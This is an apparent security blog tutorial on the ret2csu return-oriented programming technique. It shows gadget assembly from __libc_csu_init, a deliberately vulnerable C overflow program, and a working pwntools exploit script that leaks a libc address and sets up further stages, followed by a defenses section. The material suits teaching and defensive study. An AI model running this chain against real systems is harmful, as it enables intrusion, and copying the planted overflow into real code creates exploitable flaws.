ret2csu: Universal Gadgets in __libc_csu_init

ret2csu: Universal Gadgets in __libc_csu_init - article cover image RE & Pwn
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

ret2csu solves a recurring problem in x86-64 ROP: you need to control rdx (the third argument register) or call a function pointer, but the target binary contains no convenient pop rdx; ret gadget. The System V calling convention passes arguments in rdi, rsi, rdx, rcx, r8, r9, and while pop rdi; ret and pop rsi; ret are common, a clean pop rdx is often missing. ret2csu supplies rdx (and rsi, and a call) from a pair of gadgets that are present in almost every dynamically linked ELF: the compiler-generated __libc_csu_init function.

__libc_csu_init is the C runtime’s initializer that walks the .init_array constructors. Its epilogue and loop body happen to contain two extraordinarily useful sequences — a six-register pop block and a mov/call block — that together let an attacker load rdx, rsi, and the low 32 bits of rdi, then call through a pointer of their choosing. Because these gadgets come from the binary’s own startup code rather than libc, they are usable before any libc leak, which is why ret2csu is a staple opener. pwntools’ ROP object recognizes and drives these gadgets automatically.

Attack Prerequisites

ret2csu is a register-control primitive, not a full exploit; it slots into a larger chain. You need:

  • A binary that actually contains __libc_csu_init — true for most binaries built with older GCC/glibc toolchains; note that glibc 2.34+ and modern GCC reworked startup and frequently no longer emit __libc_csu_init, so confirm the gadgets exist first.
  • Instruction-pointer control (a stack overflow or equivalent) and enough stack space for the two-gadget sequence plus its register payload.
  • A known address to call through — a GOT entry, a function pointer, or [r12 + rbx*8] set to point at the function you want invoked (often a PLT/GOT slot).
  • Fixed addresses for the gadgets — a non-PIE binary, or a PIE base leak, so the __libc_csu_init gadget offsets are known.

How It Works

Two gadgets inside __libc_csu_init do the work. The first is the function’s register-restoring epilogue, a clean six-pop:

; Gadget 1 (csu epilogue)
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
ASM

The second is the loop body that the initializer uses to call each constructor. It moves callee-saved registers into the argument registers and calls through a computed pointer:

; Gadget 2 (csu loop body)
mov rdx, r13
mov rsi, r14
mov edi, r15d       ; NOTE: 32-bit -> only low 32 bits of rdi
call [r12 + rbx*8]
add rbx, 1
cmp rbx, rbp
jne <loop top>
; ... stack adjust / pops ... ; ret
ASM

The two compose cleanly. Gadget 1 loads rbx, rbp, r12, r13, r14, r15 straight from the stack, then rets into Gadget 2. Gadget 2 copies r13 -> rdx, r14 -> rsi, and r15d -> edi, then calls [r12 + rbx*8]. Set rbx = 0 so the call target is exactly [r12], and set rbp = 1 so that after the call add rbx,1 makes rbx == rbp, the cmp/jne falls through, and execution continues to the epilogue rather than looping. Point r12 at a GOT slot (or any pointer-to-function), and you have called an arbitrary function with controlled rdx and rsi.

The one sharp edge is mov edi, r15d: only the low 32 bits of rdi are set, so ret2csu cannot place a full 64-bit value in the first argument. That is fine when rdi is a small integer (a file descriptor, a length, 0) but not when it must be a 64-bit pointer — in that case set rdi separately with a pop rdi; ret and use ret2csu only for rdx/rsi.

Vulnerable Code / Setup

A non-PIE overflow target. The interesting constraint is arranging a call that needs rdx — for example write(1, buf, len) or mprotect(addr, len, prot) — where no pop rdx gadget exists in the binary:

// gcc -fno-stack-protector -no-pie -o csu csu.c
#include <unistd.h>
void vuln(void){
    char buf[64];
    read(0, buf, 512);       // BUG: overflow -> ROP
}
int main(void){ vuln(); return 0; }
C

Verify the gadgets are present. checksec shows No PIE (fixed gadget addresses), and a quick search confirms the csu sequences exist in this build:

$ checksec --file=./csu
RELRO:    Partial RELRO   Stack: No canary   NX: enabled   PIE: No PIE
$ ROPgadget --binary ./csu | grep -E 'pop r15 ; ret|mov rdx, r13'
0x0000000000401266 : pop r15 ; ret
# ... and the mov rdx, r13 ; mov rsi, r14 ; ... block inside __libc_csu_init
TEXT

Walkthrough / Exploitation

By hand, the chain lays Gadget 1, the six register values, Gadget 2, and then the stack cleanup Gadget 2’s epilogue expects. Here we call write(1, addr, len) to leak, then continue. Set r12 = &write@got (call target), rbx = 0, rbp = 1, and r13/r14/r15 for rdx/rsi/edi:

from pwn import *
context.binary = elf = ELF('./csu')
io = process('./csu')

CSU_POP  = 0x401266      # pop rbx;pop rbp;pop r12;r13;r14;r15;ret
CSU_CALL = 0x401250      # mov rdx,r13;mov rsi,r14;mov edi,r15d;call [r12+rbx*8]
OFF = 64 + 8

payload  = b'A' * OFF
payload += p64(CSU_POP)
payload += p64(0)                 # rbx = 0  -> call [r12]
payload += p64(1)                 # rbp = 1  -> loop exits after one call
payload += p64(elf.got['write'])  # r12 = &write@got (function pointer)
payload += p64(8)                 # r13 -> rdx = length
payload += p64(elf.got['write'])  # r14 -> rsi = buffer to write
payload += p64(1)                 # r15 -> edi = fd 1 (low 32 bits ok)
payload += p64(CSU_CALL)
Python

After the call, Gadget 2 executes add rbx,1; cmp rbx,rbp; jne; with rbx=0 -> 1 and rbp=1 the branch is not taken, so control reaches the cleanup pops. Those pops consume seven qwords off the stack (padding), and the final ret returns wherever you place next — here, back to a further stage:

payload += p64(0) * 7             # absorb the csu epilogue's add rsp/pops
payload += p64(elf.sym['main'])   # continue: return into main for stage 2
io.send(payload)
leak = u64(io.recv(8))            # write() leaked the GOT entry -> libc
log.success(f'write@libc = {leak:#x}')
Python

pwntools does all of this automatically: calling rop.call('write', [1, elf.got['write'], 8]) on a binary where rdx needs setting causes the ROP engine to synthesize the ret2csu two-gadget sequence and the padding for you, so the readable form is simply the high-level call:

rop = ROP(elf)
rop.raw(b'A' * OFF)
rop.call('write', [constants.STDOUT_FILENO, elf.got['write'], 8])
rop.main()
io.send(rop.chain())            # pwntools inserts the csu gadgets under the hood
Python

Note: Set rbx = 0 and rbp = 1 precisely: rbx = 0 makes the call target [r12 + 0], and rbp = 1 makes add rbx,1 produce equality so the loop runs exactly once. Any other rbp reruns the loop with rbx incremented, calling [r12 + 8], [r12 + 16], … which is occasionally useful for calling several pointers in sequence but usually just crashes.

Opsec: Because mov edi, r15d clears the top 32 bits of rdi, ret2csu cannot pass a 64-bit pointer as the first argument. For system("/bin/sh") or execve(path, ...) set rdi with a separate pop rdi; ret and use ret2csu only to fill rdx/rsi. Mixing the two is the standard pattern for a full execve chain.

Detection and Defense

ret2csu is a code-reuse primitive; the defenses are the general anti-ROP controls plus toolchain changes that remove the gadgets:

  • Modern toolchains (glibc 2.34+ / recent GCC) frequently no longer emit __libc_csu_init, removing the universal gadget from freshly built binaries — keep build toolchains current.
  • PIE + ASLR so the csu gadget addresses are not fixed and require a separate leak.
  • Intel CET: indirect-branch tracking (endbr64) and shadow stacks — IBT constrains call [r12+rbx*8] targets to valid entry points, and shadow stacks catch the ROP return chain.
  • Stack canaries and fortify to deny the initial overflow.
  • seccomp to blunt the eventual syscall (e.g. blocking execve) even if a chain assembles.

Real-World Impact

The __libc_csu_init gadgets were popularized as “universal” ROP gadgets because for years virtually every dynamically linked x86-64 ELF contained them, making rdx control a solved problem regardless of what the rest of the binary offered. That ubiquity made ret2csu a default building block in CTF pwn and real exploit development, especially for mprotect and multi-argument syscall chains. Its footprint is now shrinking as newer glibc/GCC startup code drops the function, which is a concrete example of mitigation-by-toolchain — but the vast installed base of older binaries keeps ret2csu relevant, and the technique remains the textbook illustration of harvesting powerful gadgets from compiler-generated runtime code.

Conclusion

ret2csu turns the C runtime’s initializer into a register-control engine: one gadget pops six callee-saved registers, the second copies them into rdx, rsi, and edi and calls through [r12+rbx*8]. Set rbx=0, rbp=1, aim r12 at a GOT slot, and you have called an arbitrary function with the third argument you could not otherwise set. Mind the 32-bit edi limitation, let pwntools synthesize the sequence when possible, and remember that current toolchains are quietly removing this gift from newly built binaries.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL